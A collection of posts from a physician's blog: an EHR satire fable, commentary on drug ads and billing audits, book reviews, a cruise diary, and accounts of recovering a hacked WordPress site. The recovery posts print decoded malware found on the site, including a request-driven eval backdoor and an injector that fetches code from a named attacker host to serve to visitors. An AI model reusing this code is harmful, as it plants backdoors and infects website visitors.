The Old Man and The Doctor — A Fable

fablesOnce Upon A Time, there lived an old man and an old doctor, in a far away village. The old man was sick, and so he called for the doctor. The old doctor came to visit, and found the old man had a diseased heart. The doctor knew he was going to die soon. The doctor comforted the old man, and gave him medicine to ease his pain. The old man’s suffering was relieved and he was grateful to the doctor. Feeling more alert, he watched the doctor jot down a few notes on a piece of paper before he packed his bag and made ready to depart.

“Will you return, Doctor?” the old man asked.

“Yes, of course. In a few days,” the doctor replied.

“What were you writing in your notebook just now?” The old man was curious.

“Oh, just a few notes to help remind me about your case,” said the doctor. “You see, I have a lot of patients, and sometimes I need to jog my memory. I too am getting older, as is my memory.”

“I understand completely,” the old man said, and bade the doctor farewell.

The old man, despite his heart malady, began to feel stronger. After a few days he started to wonder when the doctor would return to visit him again. He needed more medicine and was surprised that the doctor had not come back to him. He made some inquiries and was soon saddened to learn that the old doctor himself had succumbed to a sudden heart attack, and was no more.

Being of a practical nature, the old man knew that he needed to find a new doctor. And lo! there was a new doctor, fresh out of Medical School, who had come into town that very day to replace the old doctor who had died. He sent out a request for this new doctor to come and visit him. To his surprise he received an answer that this new doctor did not come to his patients’ houses. Rather, the patients were expected to come to his clinic in the center of town. This was a hardship for the old man, but he quickly understood that this was the way of the world, and there was no use fighting against it.

So the old man got his cane, put on his coat, and made his way down to the new doctor’s clinic.

Here he sat and waited along with many fellow patients until finally a nurse came and brought the man into the inner part of the clinic, where, after another wait, the new doctor finally appeared.

The old man knew that the new doctor did not know his case, so he started telling him his story. The doctor though held up his hand and said,

“Wait a minute.”

The doctor opened up a notebook sitting on a table next to him. He spent a few minutes turning pages until he got to the page he was looking for. He then started writing in the notebook.

After a few minutes, the old man asked, “What are you writing in your notebook just now?”

The doctor was silent. He continued to scribble furiously in the notebook. He did not look up at the old man or ask him any questions. It appeared that there was a certain amount of information that he needed to enter into the notebook, and he only had a limited time to do so. The doctor’s forehead broke out in a sweat as he tried to write things down as fast as he could. Finally, the doctor slammed the notebook shut, and without a word, left the room.

The old man was stunned. Before he could react, however, the nurse came in and told him it was time to leave. The old man asked the nurse about his medicine. The nurse said that the new doctor had a system whereby his medical prescription would automatically be sent by carrier pigeon to the apothecary in town, to be picked up at his convenience. The nurse assured him that everything was taken care of, and she needed to prepare the room for the next patient.

The old man asked the nurse, “Is the doctor a good doctor?”

The nurse seemed taken aback. “Yes, of course.”

“How so?” asked the old man.

The nurse laughed. “What a silly question. The doctor went to the best medical school. He won awards in his internship and residency. But more important than any of that, he has a System.”

“What kind of System?” The old man could tell from the nurse’s tone of voice that the word “system” was capitalized.

“Well, you saw it in action. He is able to generate a complete history, upload the past medical and surgical history, create a full 12 point review of systems, and generate a physical that touches on each major body part in an amazingly short period of time.”

The old man pondered this. Then he said, “But the doctor did not talk to me, did not examine me, did not tell me what was wrong.”

The nurse laughed again. “Of course not. If he did all that, there would be no time for him to create his documentation. He would have to see fewer patients and you would have to wait even longer to see him. You wouldn’t like that, now would you?”

The nurse tried sheparding her patient out of the room. The doctor would be mad at her if she didn’t get the next patient ready quickly enough. But the old man resisted, and she became frustrated.

“What is wrong?” she asked.

“I…I am having pains in my chest. I think I am having a heart attack.” The old man turned pale, and he collapsed to the floor.

The nurse called for the doctor. The young doctor came back in, glanced at the old man clutching his chest on the floor, and went back to the table where his notebook lay. He opened, found the correct page, and started writing again.

The nurse looked at the old man writhing on the floor, and she became concerned. She didn’t want to interrupt the doctor in his important task of documentation, but finally she could hold back no longer.

“Doctor!” she said in an urgent tone of voice. “You are getting behind in your appointments. Can’t you do something?”

The doctor did not look up from his task, but did answer. “It’s this new System. The forms don’t allow entering a second patient visit on the same day without amending the initial visit, which, as you know, is a 10 step process. If I miss one of the steps I have to start over again. So it does not help if you interrupt me, Nurse.” He said the last rather curtly.

The nurse was subdued. “Yes, Doctor. I’m sorry, Doctor.”

Finally with a look of relief, the doctor finished his task and closed the notebook. He smiled and addressed the nurse.

“Sorry I was a bit abrupt with you. But, after all, this was an emergency situation. I had not planned for this episode of critical care in my office. Overall though, despite its quirks, the System worked and I am back on track.”

The nurse smiled. “Don’t mention it. I’m just amazed that the System was able to handle something like this. It certainly has been a boon for Medicine that the technology exists today to create such a System for Documentation.”

“Indeed.” The doctor pulled out his pipe and lit it, taking a few puffs. It was something he did when he became contemplative. He grinned.

“With this Documentation System, I can handle something like this and even have a few moments to think about how things used to be. You know, how the doctors of yore took care of patients.” He tapped some ashes from his pipe.

The nurse, who was older and did remember those days, nodded her head. “Yes, I remember those days. The doctors spent all their time talking to patients, and examining patients, and thinking about what would be the best treatment for their patients. They spent so much time with those tasks that they didn’t have time to fully document in their charts!”

“Yes,” agreed the doctor. “Those docs of old couldn’t nail a 12-point review of systems if they tried. So, all that work, and they could only bill a Level I visit! Ridiculous.” He opened the notebook and pointed to the page with the stem of his pipe. “Here today, on this gentleman, I have documentation to support a Level V office visit, plus 15 minutes of Critical Care Time. There’s is no way the old docs could have done that.” He glanced at his watch. “Oh, if I don’t stop chatting, I really will be getting behind.”

The nurse nodded, and glanced down at the old man, who now lay stiff and still. “What about him?” she asked.

The doctor stepped over the old man to leave the room. “Well, call for an ambulance to take him to the hospital. He needs a doctor.”

The nurse knelt down and felt the old man’s carotid artery. There was no pulse.

“He has died, Doctor,” she stated.

“The morgue then.” The doctor rolled his eyes. “Now I have to do a death summary too. This is not my day.” He went back to his notebook once again, now in a foul mood. “This will never do.”

The nurse hesitated, then finally asked, “Should I cancel Mrs. Thornsberry?”

The doctor continued scribbling furiously, and the nurse knew better than to ask again.

 

 

Ask Your Doctor if TV Drug Ads Are Right For You

Separate bathtubs.  Maybe that's the problem.

Separate bathtubs. Maybe that’s the problem.

The only thing more annoying than TV commercials is TV drug commercials. Nowadays the two have become virtually synonymous  Whatever happened to commercials for Tide or the Ginzu knife? Now it’s one mind-numbing Cialis, Pristiq, or Lyrica commercial after another. There’s the commercial with the doctor standing in his white coat out in public next to a giant mirror, not saying a word as people walk up to him. That guy should be arrested. There is the glowing nocturnal butterfly, flying from house to house, presumably flying into the head through your ears while you sleep, to eat your brain. There are sad people who suddenly have drug-induced happiness. There are COPDers, accompanied by elephants. There’s the guy who doesn’t have to make the turn off to the Protime Clinic because he’s on Xarelto, and can go fishing instead. All the commercials have high production values, but many, like the doctor and the mirror, just seem weird. Each commercial follows the same pattern:

Part I: The cheerful narrator sets up the problem and then introduces the drug-based solution. No commercial gets to the point quicker than the Cialis commercial. The awkward, non sequitur intro goes something like this: “It’s the little things she does, you never get tired of. But your erectile dysfunction? That may be a matter of blood flow.” (I tried to google the exact text, but, have you ever tried to search for anything with the word Cialis in it? I warn you, don’t try it.)

Part II: The same narrator reads the list of side-effects, in the same cheerful but somewhat more pressured tone of voice, having only 30 seconds to get them all in (“…stop taking Cialis and seek medical attention if you have an erection lasting more than four hours…” or “…in rare cases Happy Drug X may cause death, suicide, liver failure, kidney failure, and so forth and so on…” or “…if your pregnant wife accidentally mistakes your Axiron for deodorant your baby will be born with two heads…”).

Direct to consumer prescription drug advertising was approved by the FDA in 1997 and is only legal in two countries in the world: the USA and New Zealand. Proponents of these ads argue that they should be permitted by First Amendment free speech and that they are useful to raise public awareness of diseases and their treatment. Opponents argue that this is wasteful spending, adding to the cost of these drugs, and that the ads create pressure on physicians to prescribe drugs they wouldn’t otherwise prescribe. The ads encourage the viewer to self-diagnose conditions like insomnia, restless leg syndrome, or “Low-T”, leading to unnecessary drug treatment of naturally occurring conditions. And, as the commercials warn us in that cheerful, friendly voice, there are some risks associated with these drugs. Even though the $4.8 billion dollars the drug industry spent (in 2008) on direct to consumer advertising is considered trivial compared to the total cost of health care (and is much less than the money spent on direct to physician marketing — which should be another blog post), clearly these ads work for the industry, or they wouldn’t bother spending the money.

I would love to make a policy of not using drugs that are advertised on TV, but the practice is universal, and some of the drugs, like the new anticoagulants are actually useful. I would be cheating my patients if I did that. With Congress being the representative of industry rather than of the people, it is unlikely direct to consumer drug advertising will ever change. Maybe if US physicians united to protest these commercials, then… Whoa! What I am thinking.  Physicians in this country actually uniting to accomplish something? Sadly, I will undoubtedly be reminded of the perils of four hour erections for the rest of my life.

Cyber Cold War Update

Just a brief update on the security issues at my website mentioned in the last post. As those of you smarter than I am on the mechanisms of these php-injection attacks probably recognized, the measures I took in the last post were not the end of the story. Sure enough, despite thinking that I had ripped enough of the attack code out to end the matter, I found that the next day my site was down again, with the same foreign code reinjected into the WordPress php files. At the risk of boring my readers, but in the hopes of helping anyone in a similar situation, I’ll relate how I solved the problem.

This article was very helpful in helping to expose the backdoor that the attackers left that allowed them to reintroduce the attack (I don’t think they personally did this.  I believe the whole process is just automated).  I scanned my server for rootkits and there were none found.  All the modified files had an owner of www-data which is the unprivileged user that owns all the WordPress files.  So I didn’t think someone had broken into the server though my username and password, or had any root access.  Most likely they got in through an older version of WordPress that had some vulnerability.  When I reinstalled WordPress after the attack, I was copying over old files with new files.  If there was a file that didn’t belong, it would persist with each WordPress update.  I had to find that file.  I did a file diff between a clean WordPress installation and my WordPress.  And there it was.  A file named fetpd.php that was not supposed to be there.  I looked at the file contents.  Definitely a bad guy:

<?php /*4ut|*/eval/*ym’ s3i*/(/*?{G5zM*/base64_decode/*T:%Zb[*/(/*l8d@*/'LyosXFgqL2V2YWwvKl9fPyovKC8qQjFBTyc ... [several lines of the same] … qeX5sICov’/*0[N1puZ8*/)/*U2xKUo.*//*z'pQ^AJ*/)/*OR= Vv*//*E(og*/;/*No,S|*/ ?>

Sneaky programmer put in lots of /*comments*/ to make it look even more confusing.  Using my base64 decoder after removing the comments, I got a similar string!  The attacker had encoded it twice!  Repeating the process I got the following, after removing more comments:

if(isset($_REQUEST['bfbltl']))eval(stripslashes($_REQUEST['bfbltl']));

I’m not an expert, and after looking up the $_REQUEST function on the PHP online help, I am still not completely certain, but I believe this function can grab code from another site, or a cookie at another site, and basically execute it as php code.  So I think this was the cause of the reinfection.  I am still a little disturbed because I don’t know what triggers the running of this code (is there another file somewhere calling fetpd.php?), but at least after I ripped out this little piece of nastiness the site has stayed up.  Take that Russkies!

 

More Attacks On EP Studios!

The battle is still on.  My website went offline unexpectedly this week.  Thanks to the backup guys at Vaultpress who notified me about it.  The site was giving error code 500: “Internal Server Error.”  Oops.  Checking the WordPress files, I found that nearly every php file had this as its first line (enclosed in php tags):

eval(gzinflate(base64_decode(‘dVRtb9s2EP7sAvsPF…[A large number of letters and numbers]…4w+9/’)));

Using this handy decoder, this translates into:

if (!defined(‘frmDs’)){ define(‘frmDs’ ,1); function frm_dl ($url) {
if (function_exists(‘curl_init’)) { $ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $out = curl_exec ($ch);
if (curl_errno($ch) !== 0) $out = false; curl_close ($ch); } else
{$out = file_get_contents($url);} return trim($out); } function
frm_crpt($in){ $il=strlen($in);$o=”; for ($i = 0; $i < $il; $i++)
$o.=$in[$i] ^ ‘*’; return $o; }
function frm_getfrm() { $defframe =

[ I had to exclude some html code here, WordPress doesn't like it]

$codelink = ’http://ghenkdwmk.myfw.us/nc/gnc.php?ver=jquery.latest.js’;
id=”__mceDel”> if (!$codelink){ return $defframe; } $dr=’/var/tmp’; $f =
$dr.’/sess_’.md5(‘frm_frame’); if(!file_exists($f) || time() -
filemtime($f) > 60*5) { $dlc = frm_dl($codelink); if ($dlc){ if ($fp =
@fopen($f, ‘w’)){ fwrite($fp, frm_crpt($dlc)); fclose($fp); } else
return $dlc; } else @unlink($f); } $fc = @file_get_contents($f);
return ($fc)?frm_crpt($fc):$defframe; } $ua =
$_SERVER['HTTP_USER_AGENT']; if (preg_match(‘/Windows/’, $ua) &&
preg_match(‘/MSIE|Opera/’, $ua) ){ error_reporting(0);
if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
@setcookie(‘__utmfr’,rand(1,1000),time()+86400*7,’/'); print($nfc); }
}}

After manually deleting this evil first line from the many infected php scripts, I thought I was making progress.  Everything cleaned up and … Bang!  The lines were back again!  I decided to look a little more closely at the php code.  Clearly there was some file that was doing all this code injection and I hadn’t deleted it.  The answer was in this code:

if (!$codelink){ return $defframe; } $dr='/var/tmp'; $f =
$dr.'/sess_'.md5('frm_frame'); if(!file_exists($f) || time() -

The code downloads a file and places it in the /var/tmp directory.  The file name starts with ‘sess_’ followed by a meaningless number.  Looking in /var/tmp, lo and behold, it was there, a binary file that clearly was the evildoer.  I deleted it and waited.  After a few minutes it was back, reconstituted by the scripts in the WordPress php files.  I deleted it again, used chmod to set the permissions of /var/tmp to 444 (read-only by everyone, even the owner – ha!), and went about deleting all the first lines of each infected file again.  Turns out the website still didn’t work.  Examining the error logs showed that the stupid virus or trojan or whatever you’d call it had corrupted one of the php files.  I downloaded the WordPress package, copied the good file over the bad file and, — ta-da! — website is up and running (so far).  Now to the perps.  In the code above is the website of the bad guys: ghenkdwmk.myfw.us.  Whatever that’s supposed to mean. Pinging them (I wouldn’t advise visiting their site) gave a response, and an IP address of 151.248.123.170.  Traceroute led right to a bunch of servers in Russia (http://ovzhost60.vps.reg.ru/) .  A web ip tracer gave this map.

Screenshot from 2013-04-01 18:20:54

Where the bad guys are.

Screenshot from 2013-04-01 19:07:09

Must be a boring place to live.

Satellite imagery confirms that yes, this is the middle of nowhere (Siberia maybe?).  So, I guess they’ve got nothing better to do in this part of Russia than mess up other people’s  websites .  Losers.  I’ve got my eye on you…

Some Suggestions for the DOJ

Big brother is watching...

Having pretty much wrapped up their investigations into ICD malfeasance amongst implanters (OMG, this ICD was implanted only 89 days following a stent!!), the Department of Justice (DOJ) is probably casting around to find the next bushel of low-lying fruit.  Here are some suggestions for future investigations.  (Disclaimer: my lawyers advise me to state emphatically that I personally have never been involved in any of these scams).
Fake pre-operative H&P updates.   The patient is draped and on the table.  You are about to scrub in, when somebody notices that the H&P you did from the office is 31 days old (even accounting for leap years).  Rather than undrape or contaminate the sterile field with your stethoscope, you rapidly fill out the H&P update form by copying from the ancient office H&P.  Later, after the procedure, you find to your horror that the patient, unbeknownst to you, had undergone a heart transplant in the month since the office visit, and didn’t actually need that defibrillator after all!  That will teach you to fake the pre-op H&P!    This is of course an extreme example.  Nevertheless, if the DOJ could determine a fool-proof method to determine a pre-op H&P was faked, this could yield a virtual gold mine in fines and go a long way towards paying off the national debt.

Copying and pasting electronic health records.  Copying and pasting is probably the ultimate form of laziness.  In the days of hand-written medical records, we had to laboriously write out or dictate our history, physical, assessment and plans.  It took some creativity.  With electronic health records (EHRs) this is no longer necessary.  In fact, in the EHR we use, there is a button to import the whole last patient note into a new note.  Assuming not much has changed, one just tweaks the old note and, voila!, a brand new progress note in less time than it takes for a high school student to plagiarize a report from Wikipedia.  The new note has all the frills, bells, and whistles that the coders like to see, so that you can charge a Level 5 visit for what only took a Level 1 amount of effort.  This is another situation ripe with to possibility of heavy fines from the DOJ.  Five identical notes in a row might be a good threshold to raise the red flag here.

Review of systems bloat.  The review of systems (ROS) is definitely the most painful part of the History and Physical.  Why can’t the patient fill out a check list for each encounter, or at most have the hospitalist or internist run through the ROS and that be the end of it?  Why is every specialist expected to do a repeat ROS as if one per patient per hospitalization isn’t enough?  Why do I as an electrophysiologist especially care if I am evaluating a patient for an ICD implantation whether the patient has seasonal allergies or dyspareunia?  I mean, other than the fact that we lose points and therefore reimbursement if we forget to document that we asked these questions?  So I fear that there are some practioners that might, shall we say, exaggerate the number of organ systems they have reviewed?  The DOJ could make a killing going after those who claim they did a 12-point ROS when in fact they only touched on 11 organ systems.

EHR template madness.  Filling out the discharge summary in our EHR system is made easy by the presence of a ready made template in which we just have to fill in the blanks.  One blank is labeled “Discharge Exam.”  Clicking on this, there is the option to automatically fill in a normal adult exam.  Too easy!  Until you notice, months later, that the exam that gets filled in automatically includes the statements “Rectal exam: normal” and “Pelvic exam: normal.”  Now you are in the unpleasant position of either being overly familiar with your patients on the day of discharge (“Why did you see fit to perform a pelvic exam on your patient the day after her pacemaker implantation, doctor?”) or being stupid enough to click on a link in your EHR without reading what it inserted into the medical record.  This one is a no-brainer for the DOJ.  Just look for those discharge summary physicals with rectal and pelvic exams.  Fraud or sexual harassment, they’ve got you either way.

So those are just some suggestions for further DOJ investigations that are likely to be lucrative.  I would just like to say that I would be happy to volunteer to help in these investigations, provided of course that I was granted immunity first.

Summer Fall Winter Reading

The Scar - China Miéville

The Scar – China Miéville

In the unlikely event anyone is interesting in what I have been reading lately, here goes.  I promise no significant spoilers.

My summer reading list has taken me 3 seasons to complete, but this is par for the course.  Reading is pleasurable but time-consuming.  I do most of my reading while on vacation.  Clearly I need more vacation to keep up.

I brought Dan Simmons’ Endymion to read to Nice, France while at the Cardiostim meeting in June of 2012.  I read the original Hyperion during an earlier Cardiostim, and that particular book became one of my all time favorites.  If you are a science fiction fan and have not read it, drop everything and read it right away.  The book is a set of loosely linked vignettes, told by a set of far-future pilgrims.  Several of the tales are among the best science fiction I have ever read.  The sequel, The Fall of Hyperion is more straight forward science fiction, but still works well.  These two books are really complete in themselves.  Nevertheless, the author saw fit to add two more sequels, set much farther in the future than the original stories.  For some reason I form strong associations between individual books and places, and it struck my fancy to start reading Endymion at the same location (Nice) as I had started the original Hyperion.  After getting back home I then read the final book in the series, The Rise of Endymion.  Without giving away anything significant, I found these last two books a step down from the first two.  The first-person protagonist, Endymion, seems uncommonly dense to the point it is hard to be sympathetic with him.  The final book also is very long, with stretches that are basically scenic without moving the story forward.  This seems to be a common problem with authors who become successful — the editor’s pen seems to lighten and page counts go up.  The ending is somewhat of a let-down.  Nevertheless some of the concepts, such as the dominant mutated Catholic Church of the future made possible by the utterly original alien Cruciforms (highlight of the first book), as well as the advantage of biologic resurrection to the Church militarily in allowing faster interstellar acceleration (ship’s crews literally are killed by the acceleration; then resurrected at their destination) are very clever.  Overall the Hyperion series is well worth reading.  I was just a little disappointed that the last two books (especially the final book) did not live up the promise of the first two.

Having wrapped up one series, I turned to the Revelation Space trilogy of Alastair Reynolds.  I had already read the first two books (Revelation Space and Redemption Ark) so I read the final book, Absolution Gap.  The first two books are wonderful, especially the first.  Concepts like the vast interstellar spaceship Nostalgia for Infinity haunted by its captain who had been a victim of the “Melding Plague,” a virus affecting both computers and humans, resulting in them becoming one with each other, a planet-sized alien mechanism to explore, the mysterious fate of a lost alien civilization and the nano-machine Inhbitors waiting in the wings to visit the same fate on humanity — this is the stuff of Space Opera!  Reynolds even resurrects an updated form of inertialess drive a la E. E. Smith’s Golden Age Lensman books.  Unfortunately, much as with the Hyperion series, things grind to somewhat of a halt with the last book.  There is a female child Saviour who plays a role even in utero (must be a new meme, there is a female child saviour in the two Endymion books too).  There is a strange religion on an airless moon, with massive slowly moving cathedrals that allow worshippers to constantly visualize a gas giant around which the airless moon rotates, because every once in a while this gas giant vanishes for a split second.  Unfortunately, much like the TV series Lost there are too many mysteries and loose ends to tie up, and, despite spending hundreds of pages on the slowly moving cathedrals, when it comes to explaining the Inhibitors and a number of other things, a brief Afterword is tacked on that really explains nothing.  Like Lost, a great ride to a disappointing denouement.  Yet the first two books are so fantastic that I still recommend the whole series, and I will definitely be reading more of Reynolds.

I had been curious about the Culture books of Iain M. Banks.  So I picked up the first one Consider Phlebas and read it on my vacation cruise in January.  The background to this series is a long-running interstellar war between the Culture, a human civilization run by super-intellegent machines and basically the enemies of the Culture.  It is not clear from the start whose side you should be on.  The protagonist is a shape-changer, though this talent is not too important in the story, who is best described as amoral but  nevertheless a sympathetic character.  The race between the protagonist and a female Culture agent to retrieve a lost Culture Mind (a super-powerful A.I.) forms the basis of the book. The vistas are truly immense (this too is Space Opera), and the worlds and civilizations described are quite original.  A very entertaining read and I will be definitely be reading more in this series.

I am now reading China Miéville’s The Scar.  As a writer, he outshines all of the above authors.  His book is a mixture of Jack Vance, H.P. Lovecraft, and Mervyn Peake, with some occasional modern racy language thrown in.  It is a sequel to Perdido Street Station, another wonderful fantasy book.  Set in the same world of Bas-Lag, the book is told from the point of view of Bellis Coldwine, expert in languages, who is fleeing New Crobuzon related to the events described in Perdido Street Station, only to be seized by pirates and fated to spend the rest of her days on the Armada, a huge floating city made up of hundreds of boats chained together (including a stolen floating oil platform).  The leaders of the Armada have a plan to harness an entity from another dimension to pull the city around, and Bellis is enlisted to communicate with the anophelii, human-mosquito hybrids who happen to be scholars (the males at least, the females are deadly bloodsuckers!) and experts on the process to summon the interdimensional creature, but they (the mosquito-men) only speak (acually only read and write) High Kettai, an extremely difficult language that Bellis is an expert at….  It is hard to avoid run-on sentences or to write anything that sounds other than nonsense in describing the plot.  But this is a false impression.  The plot is tight with its own inner logic that makes sense, the world is totally fantastic and believable at the same time, and the characters are deep and credible.  Miéville is an awesome writer, and I definitely will be reading the rest of his oeuvre.

I forgot to mention that during this time I also read two of Will Murray’s new Doc Savage adventures (The Infernal Buddha and Death’s Dark Domain).  These are just fun and, having read all the Docs from the mid 1960s on, not to be missed by me.  Being an amateur Savageologist, I also read Jeff Deischer’s The Adventures of the Man of Bronze: a Definitive Chronology.  This offers an alternative chronology to that presented in Rick Lai’s book, The Revised Complete Chronology of Bronze, previously reviewed here.  Can never get enough analyses of the possible floor plans of Doc’s 86th floor headquarters in the Empire State Building.

I almost forgot mentioning reading the 2nd volume of Ian Kershaw’s Hitler biography: Hitler: 1936-1945: Nemesis.  I read books about Hitler and World War II to try to understand that which can never be understood.

Finally, what I decided not to read (so far) is Robert Jordan’s Wheel of Time books.  At last count there are 14 Wheel of Time books, and, per Wikipedia, 4,056,130 words.  I don’t think I dare launch into something like that.  Not sure I would live long enough to finish the series (the author didn’t).  I’ll stick with the George RR Martin’s Game of Thrones (or, more correctly, A Song of Ice and Fire) books.  While long, at least the author gives me plenty of time between book releases to read them!

EPIC Bullying

I got word through my medical director at work today that the hospital administrators had been contacted by the EPIC electronic health record software company about this post, and demanded that the screenshots of the EPIC user interface be taken down.  Offsetting my pride that someone had actually noticed and read my blog was the sudden fear of facing down a multi-billion dollar company armed to the teeth with expensive lawyers.  I put the website into emergency Maintenance mode while I considered my options.  The post in question, which you can still read sans the controversial screenshots, is a satirical look at EHR/EMRs in general, and the EPIC EHR specifically.  I am not a lawyer (nor can I really afford one) but I felt that the use of the screenshots fell under the “Fair Use” doctrine relating to copyright, i.e. a limited non-commercial use for illustrative purposes.  It is a time-honored tradition to include a few screenshots in reviews of software, and, despite the tongue-in-cheek nature of my post, it essentially was just that — a review from the point of view of a user.  I don’t understand why EPIC is so protective or sensitive about hiding their user interface.  After all, if I were reviewing Windows 8, I wouldn’t expect Microsoft to call me up and demand me to pull down a screenshot like this one:

Not an EPIC screenshot

Not an EPIC screenshot

Is EPIC embarrassed or ashamed of their software?  Do they feel that vital trade secrets are being exposed by showing a screen that thousands of health care workers stare at every day?  Or are they just, as I suspect, control freaks?

I’m just a physician who uses their software.  I didn’t publish their source code or put a pirated version up on the Pirate Bay.  I’m not Anonymous or WikiLeaks.  Having some interest in programming as a hobby I actually admire the enormous effort that went into making a program like EPIC.  No software is perfect however and I think the EPIC bosses should be more interested in using feedback and criticism from health care professionals to improve the program rather than spending their time worrying that a screenshot of their user interface is available on the web.  The various EHR companies benefited greatly from the stimulus package and by mandates on EHR use for hospitals and physicians. These companies have been big campaign donors and have had soaring profits and stock values since the stimulus.  And yet the result has been not-ready-for-prime-time software that is awkward to use, available as mutually incompatible proprietary packages without a standardized format for data exchange and interoperability.  And these massive companies who have benefited enormously from our tax dollars have the nerve to threaten those who criticize their software and publish a few bland screenshots.  Unfortunately though, with their cash reserves and cadres of lawyers, there is little that EP Studios (cash reserves = $0) can do to stop their bullying.

 

 

Cruising, 2013-Style

Explorer of the Seas

Explorer of the Seas berthed at St. Thomas

Due to the extremely pricey and slow WiFi (a particularly bad combination) available on board, this post is being written in mid-ocean, but will be posted after I am back on dry land (but see update at end of the post).  My wife and I are on the Royal Caribbean ship Explorer of the Seas.  I’ve nicknamed the ship the “S.S. Geriatric” aka “The Golden Corral of the Seas,” for reasons which will become clearer below.  Compared to my usual life of getting up early, working ungodly hours, taking call nights and working frequently on weekends, the shipboard environment of unlimited eating, sleeping, reading, strolling around the decks, and otherwise being idle is a form of Nirvana.  I must also praise the staff and crew who are very friendly and solicitous.  This is my first ocean cruise on a new style cruise ship, and my first ocean cruise since my honeymoon 36 years ago.  Prior to that, when I was a kid in the early 1960s I went on two Caribbean cruises with my parents.  It’s interesting to compare the current cruise with those remote but still vividly remembered cruises.

Nieuw Amsterdam - Cruising in the 1960s

Nieuw Amsterdam – Cruising in the 1960s

Back in the 60s the ship was the Holland-American line’s Nieuw Amsterdam (not the ship with the same name today), gray with white and yellow trim and two yellow, green and white striped funnels.  The common rooms, bars and lounges were on the upper decks with names like the “Lido deck” and the “Promenade deck,” the latter completely enclosed with windows facing the sea and supplied with ping-pong tables.  The lower decks, labeled A down to E were filled with cabins.  Outside cabins had portholes.  There were no individual balconies that I recall.  The outside decks had wooden planking, and there was never an illusion that you were on anything other than a ship.  The lines of the ship were sleek and the design was elegant.  I don’t think the stabilizers were as good as they are nowadays.  It was fairly common to get seasick on the second day out at sea.

The ship I am on now is certainly an impressive engineering achievement.  But it looks nothing like the ships of that bygone era described above.  All the staterooms have been moved to the top and outside of the ship, so that the vast majority of them have their own little balconies.  This is very nice, but looks top-heavy and somewhat squat and unseaworthy compared to the sleek liners of old.  The common areas have been moved down into the lower central part of the ship, without any windows to the outside.  Here deep in the midsection of the ship is what could pass as a section of your local shopping mall, with clothing stores, liquor stores, bars, coffee shops, and so forth.  If it were not for the gentle back and forth rocking, you would have no idea you were on a ship.  And be forewarned that, other than the food at the restaurants (of which there is plenty, and pretty good at that), everything else costs extra cash.  For example, even having soda required signing up for a “soda plan” that costs extra.  I am so used to free WiFi that I was shocked that not only was there a charge, but the charge was ridiculously high.  At 75 cents a minute, and being about as slow as dial-up, it cost about $10 just to check a few emails.  There is also a Verizon roaming cell service available on board, but if you activate it you immediately get a text message suggesting you turn off your data plan, otherwise you will be charged about $20 a megabyte of data.  So the phone and the Internet have been off, other than when I briefly turned on the phone in San Juan, Puerto Rico, where the Verizon service seemed to work normally.

The biggest (no pun intended) contrast between cruising now and 50 years ago is the people.  The average size of the passengers today is much greater than it was back in the 1960s.  I remember as a child my mother pointing out a certain very rich but overweight woman on one of those long-ago cruises, amazed at how large she was.  In retrospect I would say she probably weighed about 300 pounds, but this was quite an anomaly at the time.   On today’s cruise she would have fit right in without anyone raising an eyebrow.  I would estimate at least 80% of the passengers on the cruise are overweight, probably 50% in the extremely obese category.  People propel themselves around in motorized scooters.   At the buffet plates are piled high with the endless supplies of food available.  A few younger people are seen in the gym or circumnavigating the track on the upper deck of the ship, but most are lounging on the deck chairs, waiting for the next meal time.  Besides the heft of the passengers, their median age appears to be the late 70s.  There are a few younger people on the ship, but not many.  I guess cruising is a retirement type of activity.  It was a reminder though that the median age has increased a lot since the 1960s.  It’s a medical paradox that people live longer but seem less healthy than in the past.  Finally, I think I probably am a little agoraphobic, so I am biased, but the ship is so crowded that it is hard to find a quiet nook to sit and read.  Many people on board are loud and unruly, and, sad to say, the loudest and most unruly seem to be the Americans.

I don’t look back at the past as a golden age.  I realize childhood memories are filtered so that we forget the bad and remember with nostalgia the good times.  I know that in general things are much better now than they were then.  But as is seen in the contrast between the people on my first cruises and of the people on this one, we have become a less healthy population who could use more laps around the deck and fewer visits to the buffet.  And maybe we could be a little less loud and a little more polite.

Stormy Weather

Stormy Weather

UPDATE: Back on shore today.  The last day of sailing was quite exciting, with up to 70 knots of wind gusts and 20 foot waves!  The ship was rocking to the max, with food trays falling off the racks in the Windjammer buffet and plates crashing to the floor.  I don’t believe anyone was hurt, thank goodness.  But after such placid sailing this last day of rough seas was a reminder of the power of the ocean.  If our mighty cruise ship struggled, it is hard to imagine what effect this weather would have had on those tiny ships of Columbus, making that transatlantic crossing back in 1492!

Attacked!

reported_attack_site

Uh oh…

Saturday morning I was in the ideal programming groove.  I got up early, grabbed a coffee from Panera’s, and faced the screen of my main computer, SuperSluggo, with its Ubuntu desktop and a nice wallpaper showing a snowy scene.  I had cleaned the condo (oops, I mean EP Studios Eastern HQ) a few days before.  I really had no other distracting tasks I needed to do.  The weekend, full of promise and seemingly endless at this hour of 8 in the morning, stretched before me.  I had just read that the FDA had approved the anticoagulant apixaban for use in non-valvular atrial fibrillation.  I downloaded the monograph from Pfizer on dosing of the drug and found that it actually had a fairly complex dosing scheme, depending not just on creatinine clearance, but also on a combination of age, weight, and serum creatinine.  It was clear that EP Mobile, my mobile app for electrophysiology that includes several drug dose calculators, needed an apixaban calculator.

This was fairly easy to implement, and before long I had the Android version ready to go.  I clicked on the EP Studios software site (epstudiossoftware.com) to add the apixaban reference to the References page of the site.  And there appeared, instead of the site, a garish red ATTACK SITE — EXTREME DANGER — GET THE #@% OUT OF HERE! page.

My sweet and innocent web site, residing in the innards of my web server computer, TomServo, on the floor of the guest room, had been hacked!  But how?  I had a tough password.  My router only lets stuff through the HTTP port 80 to TomServo.  There must have been some mistake.

I clicked through the GET ME OUT OF HERE warnings to the actual web page.  Looked normal, except for a red bar at the top with the GET ME OUT OF HERE button and a THIS IS NOT A MALICIOUS SITE button.  I clicked through the latter button, got to the Google Web Tools site and read the details.  Since December 27, my web server had been serving malicious pages to people who visited the site.  My site was infected with malware.  My site was blacklisted by Google.  It would no longer show up on web searches.  Anyone clicking on the site would be greeted by the same red warning page I had seen.  This was not good.

I had to fix this and get un-blacklisted.  I read the steps I needed to take.  They were extreme.  They were the sort of thing that would probably take most of the day to accomplish.  So much for my infinite weekend.

